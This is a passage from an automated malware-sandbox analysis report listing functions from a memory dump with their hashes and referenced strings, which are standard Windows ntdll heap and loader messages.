                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: HEAP: $HEAP[%wZ]: $Unable to release memory at %p for %Ix bytes - Status == %x
                                  • API String ID: 0-617086771
                                  • Opcode ID: 30719014c83362f662e231460d121895bb1d0130617de5f3455863ed4b2cb96a
                                  • Instruction ID: 5f68f66ba288d28e3f015404ff18cd396b614868c431999f37e1b20cfe05f779
                                  • Opcode Fuzzy Hash: 30719014c83362f662e231460d121895bb1d0130617de5f3455863ed4b2cb96a
                                  • Instruction Fuzzy Hash: 3692DE70A2425ADFDB29CF69D4447AEBBF1FF08300F188099E989AB391D774A941CF50
                                  Function 01240770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                  • API String ID: 0-4253913091
                                  • Opcode ID: 9bbb455578e8fa51fcdf8af6ba50591cf3a73fb07e235e9c0c697d105fda9a69
                                  • Instruction ID: e7a2437dc08ac7c931246a24d6d201b0250db58b45500e2c96fefd4145da9ade
                                  • Opcode Fuzzy Hash: 9bbb455578e8fa51fcdf8af6ba50591cf3a73fb07e235e9c0c697d105fda9a69
                                  • Instruction Fuzzy Hash: E9F1BF74B20606DFEB2ACF68C884BAAB7B5FF44700F1441A9E6069B341D774E981CF94
                                  Function 01256962 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: $@
                                  • API String ID: 0-1077428164
                                  • Opcode ID: 9ad97230139b4ca593c716aeb3005e27a8c43f74a7a5d04fa17825d7cbebb30d
                                  • Instruction ID: a6b4672dfa90bc7fe8cea3ae8a9dd42787114db55a9f822ac40db40b9f0b89b7
                                  • Opcode Fuzzy Hash: 9ad97230139b4ca593c716aeb3005e27a8c43f74a7a5d04fa17825d7cbebb30d
                                  • Instruction Fuzzy Hash: E0C291716283429FDB65CF28C881BABBBE5BF88754F44892DEE89C7241D774D804CB52
                                  Function 0122A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: FilterFullPath$UseFilter$\??\
                                  • API String ID: 0-2779062949
                                  • Opcode ID: e6e98b349c95273f770ab631d58b8b90839d8f5bacb2779b141bf49545424d4d
                                  • Instruction ID: 6174f193e48c76bb772be2cdbae68c48cb620d8d2ab7b119e30fe20e5d52c2ec
                                  • Opcode Fuzzy Hash: e6e98b349c95273f770ab631d58b8b90839d8f5bacb2779b141bf49545424d4d
                                  • Instruction Fuzzy Hash: 98A1607192162A9BDB31EF68CC88BEAB7B8EF44710F1001E9DA09A7250D7759EC5CF50
                                  Function 01250BCB Relevance: 4.0, Strings: 3, Instructions: 210COMMON
                                  Download Yara Rule
                                  Strings
                                  • Failed to allocated memory for shimmed module list, xrefs: 0129A10F
                                  • minkernel\ntdll\ldrinit.c, xrefs: 0129A121
                                  • LdrpCheckModule, xrefs: 0129A117
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                                  • API String ID: 0-161242083
                                  • Opcode ID: d301fd2f6dcb86878c66ecdf7da29d7e8b2bc73e9a9d7e483ae890b041099f56
                                  • Instruction ID: 67efca49227a3b6cca7b22c5b71f14fc7a75f6330bb06098397facc911e8f0d2
                                  • Opcode Fuzzy Hash: d301fd2f6dcb86878c66ecdf7da29d7e8b2bc73e9a9d7e483ae890b041099f56
                                  • Instruction Fuzzy Hash: 4871ACB0A20206DFDF25EF6CC985BBEB7F8FB44704F14442DEA02A7251E674AA41CB54
                                  Function 01240A5B Relevance: 3.9, Strings: 3, Instructions: 190COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
                                  • API String ID: 0-1334570610
                                  • Opcode ID: 1b684b896a6bf6df042c41ff19e36e7b57860d4b67f9f7a35dfed1ed225afe44
                                  • Instruction ID: 4bc5946310f901696e0c84814adf97bdd7ea886ac066628e88b8369c89abe6cc
                                  • Opcode Fuzzy Hash: 1b684b896a6bf6df042c41ff19e36e7b57860d4b67f9f7a35dfed1ed225afe44
                                  • Instruction Fuzzy Hash: 7C617170720302DFDB29DF28C441BAABBE5FF45704F14856EE6558B292D7B0E881CB99
                                  Function 0126C720 Relevance: 3.9, Strings: 3, Instructions: 141COMMON
                                  Download Yara Rule
                                  Strings
                                  • minkernel\ntdll\ldrinit.c, xrefs: 012A82E8
                                  • Failed to reallocate the system dirs string !, xrefs: 012A82D7
                                  • LdrpInitializePerUserWindowsDirectory, xrefs: 012A82DE
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                  • API String ID: 0-1783798831
                                  • Opcode ID: 96e711dd21f165c84a158a8a0ce99188b9d391b062e434ba5f3525ec643346c6
                                  • Instruction ID: a848e2c42045e48c3641b46f6a922e2cc984129c3385d94c9b6e590a0d691b80
                                  • Opcode Fuzzy Hash: 96e711dd21f165c84a158a8a0ce99188b9d391b062e434ba5f3525ec643346c6
                                  • Instruction Fuzzy Hash: EC41CEB1564316ABC736FF68D841B6B77ECAF48750F00492EFA8897290E774E8508B91
                                  Function 012EC188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON
                                  Download Yara Rule
                                  Strings
                                  • PreferredUILanguages, xrefs: 012EC212
                                  • @, xrefs: 012EC1F1
                                  • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 012EC1C5
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
                                  • API String ID: 0-2968386058
                                  • Opcode ID: b89090de243aa9563e8954c44e1b9e22364867fc72a06cef4e7b469f4edd8813
                                  • Instruction ID: 18d3c2d608f8707ef765997fb10d9dc34bc65ee02be66112089ac3e0a32fee1e
                                  • Opcode Fuzzy Hash: b89090de243aa9563e8954c44e1b9e22364867fc72a06cef4e7b469f4edd8813
                                  • Instruction Fuzzy Hash: 11418372E2021AEFDF11DBE8C895FEEBBF8AB14710F40406AE609B7240D7749A54CB50
                                  Function 012C4144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
                                  • API String ID: 0-1373925480
                                  • Opcode ID: 2a118d7dff9080b42afc8f4fec5e233d2d3936acb0cb7fee263c86cad9d44dc2
                                  • Instruction ID: 17412420ed6218e9de80e7dcd66794bb51c01cf077d2653d075ef1161d07058e
                                  • Opcode Fuzzy Hash: 2a118d7dff9080b42afc8f4fec5e233d2d3936acb0cb7fee263c86cad9d44dc2
                                  • Instruction Fuzzy Hash: 77413531A20299CBEB26EB98C851BAEBBB5FFA5740F14015DDB41EB381D7748900CB11
                                  Function 012B4755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                  Download Yara Rule
                                  Strings
                                  • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 012B4888
                                  • minkernel\ntdll\ldrredirect.c, xrefs: 012B4899
                                  • LdrpCheckRedirection, xrefs: 012B488F
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                  • API String ID: 0-3154609507
                                  • Opcode ID: e7899ba73a08c8c66563c6326c57d67767224f79cb330b2882c12e1bdb5f91f6
                                  • Instruction ID: 06507363c47856f8f3ed7ae68946ec87eeaaf249d75166fb0260f28f49aacaa7
                                  • Opcode Fuzzy Hash: e7899ba73a08c8c66563c6326c57d67767224f79cb330b2882c12e1bdb5f91f6
                                  • Instruction Fuzzy Hash: C741D472A202D29FCB21EF1CD8C1AA67BE4AF49790F05055DEE8A97253D330E800CB91
                                  Function 01240BBE Relevance: 3.8, Strings: 3, Instructions: 70COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
                                  • API String ID: 0-2558761708
                                  • Opcode ID: 0351c70d95687c316a31ffef1ebe9fc22da4b11bd4cc06ef41164c1b2bea9958
                                  • Instruction ID: 3e0b55d5fc5b0a4762bb8ce01c9a46a08ccf059afec070fcf906250584b6b86d
                                  • Opcode Fuzzy Hash: 0351c70d95687c316a31ffef1ebe9fc22da4b11bd4cc06ef41164c1b2bea9958
                                  • Instruction Fuzzy Hash: CC11AF313751429FDB6EDE18C442BBAB3A5EF40615F18812EF606CB251EB74D880CB59
                                  Function 012B20DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON
                                  Download Yara Rule
                                  Strings
                                  • Process initialization failed with status 0x%08lx, xrefs: 012B20F3
                                  • minkernel\ntdll\ldrinit.c, xrefs: 012B2104
                                  • LdrpInitializationFailure, xrefs: 012B20FA
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                  • API String ID: 0-2986994758
                                  • Opcode ID: 8b954d804e9502c5f34d2fc96010c177e2e6ae4546d9127a20d36bae16ea2578
                                  • Instruction ID: a8ba3cb8f1d3472182576c11008f3f4272e167e51f378b996c27b76d964178a0
                                  • Opcode Fuzzy Hash: 8b954d804e9502c5f34d2fc96010c177e2e6ae4546d9127a20d36bae16ea2578
                                  • Instruction Fuzzy Hash: 13F0C835670309EBE734EA4CDC42FEA37ACEB54B54F110059FB0077686D2B0A540C651
                                  Function 012403E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: ___swprintf_l
                                  • String ID: #%u
                                  • API String ID: 48624451-232158463
                                  • Opcode ID: 0065dab922fff9f9e8fc0fecfcd54c9c9aa20bb9a4785f9afd53b3c0a81b2564
                                  • Instruction ID: 11ea9e1d82a03113376f60048ea6a598f5424a9639e28396f0f76d6f38a15f09
                                  • Opcode Fuzzy Hash: 0065dab922fff9f9e8fc0fecfcd54c9c9aa20bb9a4785f9afd53b3c0a81b2564
                                  • Instruction Fuzzy Hash: D7715A71A2014A9FDB05EFA8C990BAEB7F8FF18344F144065EA05EB251EA34ED41CB64
                                  Function 0123A9D0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON
                                  Download Yara Rule
                                  Strings
                                  • LdrResSearchResource Exit, xrefs: 0123AA25
                                  • LdrResSearchResource Enter, xrefs: 0123AA13
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
                                  • API String ID: 0-4066393604
                                  • Opcode ID: add98a2a36b6f89ef529f59b0972581dfb0e5cc518def8b753602e1a2b62e216
                                  • Instruction ID: 695164af373c953d7227860d5791b1caf7dd00a15235796e103b48dc3f06d8f9
                                  • Opcode Fuzzy Hash: add98a2a36b6f89ef529f59b0972581dfb0e5cc518def8b753602e1a2b62e216
                                  • Instruction Fuzzy Hash: 28E194B1A2020AEBEF25CE9DC980BAEBBBABF54710F104535EA41E7251E7749941CB50
                                  Function 012FA352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: `$`
                                  • API String ID: 0-197956300
                                  • Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                  • Instruction ID: 346e5e027823e2000925cd581edaf00155673869b2eb0a53f3ae9520c5680834
                                  • Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                  • Instruction Fuzzy Hash: 3CC19B312243469BEB25CE28C845B6BFBE5EF94318F084A3CF79A8B290D774D545CB91
                                  Function 012AE6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: InitializeThunk
                                  • String ID: Legacy$UEFI
                                  • API String ID: 2994545307-634100481
                                  • Opcode ID: 2c2ba05981d2bcdd3e50a392c9c59b56ad64caaabe01589dcb20ef6592a92993
                                  • Instruction ID: c9d8291eba2254a2b183a02b237107a5061a26f7e72d98411d505eaf1eadaaa8
                                  • Opcode Fuzzy Hash: 2c2ba05981d2bcdd3e50a392c9c59b56ad64caaabe01589dcb20ef6592a92993
                                  • Instruction Fuzzy Hash: 94615CB1E203099FDB15DFA8C880BAEBBB9FB54700F55402DE649EB291D731A901CB50
                                  Function 012D43D4 Relevance: 2.7, Strings: 2, Instructions: 169COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: @$MUI
                                  • API String ID: 0-17815947
                                  • Opcode ID: b026bb2cfcc0cbad8a59dda31f54c2b7b70e3d3ca9af0a2b26e65a47e411dcd6
                                  • Instruction ID: 3f1634e5052e9541f522fa56e5aee0145415d4a7bad3a074574283c05db50ff4
                                  • Opcode Fuzzy Hash: b026bb2cfcc0cbad8a59dda31f54c2b7b70e3d3ca9af0a2b26e65a47e411dcd6
                                  • Instruction Fuzzy Hash: 2C5129B1D1025EAFDF11EFA9CC80AEEBBB8EB54754F100529EA11B7690D6309D45CB60
                                  Function 012304E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON
                                  Download Yara Rule
                                  Strings
                                  • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 0123063D
                                  • kLsE, xrefs: 01230540
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                                  • API String ID: 0-2547482624
                                  • Opcode ID: 53cd28d4cc40daf7490fcd73532804ea98d173a53f71d23144b299dd9062150f
                                  • Instruction ID: 054cad9c1f91e8f336d1779d65da859d8a0ba3aab7cd9287b256beab7784c317
                                  • Opcode Fuzzy Hash: 53cd28d4cc40daf7490fcd73532804ea98d173a53f71d23144b299dd9062150f
                                  • Instruction Fuzzy Hash: AF519CB15247428FD725EF69C5406A7BBE4AFC4304F10483EFAAA87281E770D545CFAA
                                  Function 0123A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                                  Download Yara Rule
                                  Strings
                                  • RtlpResUltimateFallbackInfo Exit, xrefs: 0123A309
                                  • RtlpResUltimateFallbackInfo Enter, xrefs: 0123A2FB
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
                                  • API String ID: 0-2876891731
                                  • Opcode ID: e9a7f0931d564088029bf6e0b808fe01eb6e536cc30cc652c4486a664b897767
                                  • Instruction ID: b1f08dc7f4831801e0ad9b189067b92305849ddc25e8450c697c0fa1b7e22e32
                                  • Opcode Fuzzy Hash: e9a7f0931d564088029bf6e0b808fe01eb6e536cc30cc652c4486a664b897767
                                  • Instruction Fuzzy Hash: EA41D1B1A24656DBDB15CF5DC890BAEBBF4FF84700F2440A9EA45DB2A1E3B5D900CB50
                                  Function 0126A5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: InitializeThunk
                                  • String ID: Cleanup Group$Threadpool!
                                  • API String ID: 2994545307-4008356553
                                  • Opcode ID: 081f7546710cacbb2cc1014f99723b412a345107f1a3ee21b5f0f7a96043ea58
                                  • Instruction ID: c466a24a28079f54036279da6bd9b5a8639db2fcb2bc790f24746c11f95e046f
                                  • Opcode Fuzzy Hash: 081f7546710cacbb2cc1014f99723b412a345107f1a3ee21b5f0f7a96043ea58
                                  • Instruction Fuzzy Hash: 0101DCB2260744AFD322DF24CD4AB2677ECEB94B25F008939E658C71D0E374E844CB86
                                  Function 0123C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: MUI
                                  • API String ID: 0-1339004836
                                  • Opcode ID: 7ac87e05c6766cfe8574ba112a33a956be1ad2f844c28429a0df65250fd48b85
                                  • Instruction ID: 29a4b48f9536fe10913b1458d0e4870bf631998598610a05bcd4b336371d1910
                                  • Opcode Fuzzy Hash: 7ac87e05c6766cfe8574ba112a33a956be1ad2f844c28429a0df65250fd48b85
                                  • Instruction Fuzzy Hash: 50827CB5E202198BEB25CFA9C8807EDBBB5FF88710F14816ADA19BB251D7709D41CF50
                                  Function 012B6420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID: 0-3916222277
                                  • Opcode ID: 55a2e0c63ef31badc9cd2f4cfde8b7e6ae1beb43b62af930de7999aab7a440d8
                                  • Instruction ID: 2347217fa3e925a189c400903d77e3af743ffe333b3d7748196d1a6d9d905fe2
                                  • Opcode Fuzzy Hash: 55a2e0c63ef31badc9cd2f4cfde8b7e6ae1beb43b62af930de7999aab7a440d8
                                  • Instruction Fuzzy Hash: A1916272A5121AAFEB25DF95CC85FEE7BB8EF14790F100055F700AB191D674AD00CB64
                                  Function 012DE10E Relevance: 1.5, Strings: 1, Instructions: 255COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID: 0-3916222277
                                  • Opcode ID: c2af8c5bd63fc577b9277475f91cd2991be2e5a0ae6512585b196fc829454a70
                                  • Instruction ID: bcee7b4d58bffe26a90c0ed33bf0424ae44c63ef36cecc7d0a094f782bd638d3
                                  • Opcode Fuzzy Hash: c2af8c5bd63fc577b9277475f91cd2991be2e5a0ae6512585b196fc829454a70
                                  • Instruction Fuzzy Hash: 0991B131A2064ABFDB26AFA5DC84FBFBB79EF55740F110029F601AB250DB749901CB90
                                  Function 0126A660 Relevance: 1.4, Strings: 1, Instructions: 200COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: GlobalTags
                                  • API String ID: 0-1106856819
                                  • Opcode ID: 2139f51acba2cde4268660e2257c9d8df92a19b3dc9a1e942d29728ef1d27d02
                                  • Instruction ID: 0a84917c6a6e9f8f06dd81c5c1fe0f38e02034d1135570999a1256fb5d024bb7
                                  • Opcode Fuzzy Hash: 2139f51acba2cde4268660e2257c9d8df92a19b3dc9a1e942d29728ef1d27d02
                                  • Instruction Fuzzy Hash: BC718FB5E2020ACFDF28CF9CD9916ADBBB5FF48700F58812EEA05A7240E7708845CB50
                                  Function 012D4978 Relevance: 1.4, Strings: 1, Instructions: 153COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: .mui
                                  • API String ID: 0-1199573805
                                  • Opcode ID: 7e2525b2865ab8da9c950e3c829d12c138a8edcc3ad8a2d8201292e8d62d772b
                                  • Instruction ID: 122667f0480d8eac2e95a79bf53431027834eb5b500c7894b43b9ab2c5ffd383
                                  • Opcode Fuzzy Hash: 7e2525b2865ab8da9c950e3c829d12c138a8edcc3ad8a2d8201292e8d62d772b
                                  • Instruction Fuzzy Hash: 9151B172D2026A9BDF11EF99D840ABEBBB4BF14A10F05412AEA11BB650D7749C01CFE5
                                  Function 0124E627 Relevance: 1.4, Strings: 1, Instructions: 148COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: EXT-
                                  • API String ID: 0-1948896318
                                  • Opcode ID: 7b7489705de97d0377e36943923f17749ede5cc23894cb75e93771f6bccd20b0
                                  • Instruction ID: 1cb312c0d5247f38eead9945c923c6b33877dcbb1e46479c2ee2bfe47148b551
                                  • Opcode Fuzzy Hash: 7b7489705de97d0377e36943923f17749ede5cc23894cb75e93771f6bccd20b0
                                  • Instruction Fuzzy Hash: 5F41B4725283029BE719DB79C880B6BB7D8BF98724F450D2DFA84D7180E778D904C796
                                  Function 012AC730 Relevance: 1.4, Strings: 1, Instructions: 129COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: BinaryHash
                                  • API String ID: 0-2202222882
                                  • Opcode ID: cf9947124051fa5d7294c9b10e9df5f9158352b00955df33c2f477f508b88b74
                                  • Instruction ID: ed2c551c0164e976c83db4bd40613c3b39172cab8dfffed0350de14091b20ba2
                                  • Opcode Fuzzy Hash: cf9947124051fa5d7294c9b10e9df5f9158352b00955df33c2f477f508b88b74
                                  • Instruction Fuzzy Hash: 924143B1D1022DAFDB21DA50CC84FEEB77CAB44724F4045E5EB08AB140DB709E998FA4
                                  Function 012C6B40 Relevance: 1.4, Strings: 1, Instructions: 106COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: #
                                  • API String ID: 0-1885708031
                                  • Opcode ID: 2905585d22ba068696115cfce7c0eaa95255e1805d6c029e0e6aad98d6337f27
                                  • Instruction ID: dc8cc0ee0351689e7cc93d9112fe6fec2c57c908455d0a704a47e0e357dc1b36
                                  • Opcode Fuzzy Hash: 2905585d22ba068696115cfce7c0eaa95255e1805d6c029e0e6aad98d6337f27
                                  • Instruction Fuzzy Hash: 48312831A2074A9BEB22DF69C844BFE7BA8DF04B04F14412CEB41AB382D775D905CB50
                                  Function 012ACA72 Relevance: 1.3, Strings: 1, Instructions: 94COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: BinaryName
                                  • API String ID: 0-215506332
                                  • Opcode ID: 547a160d1cf70f6a17f509a31e4f656fb6028caf563fe8b7a5cc7cb074a3fadf
                                  • Instruction ID: 9fdc660f713478c6d06af6334571e8e5c8582eea0eddac9dab81ce71f2838194
                                  • Opcode Fuzzy Hash: 547a160d1cf70f6a17f509a31e4f656fb6028caf563fe8b7a5cc7cb074a3fadf
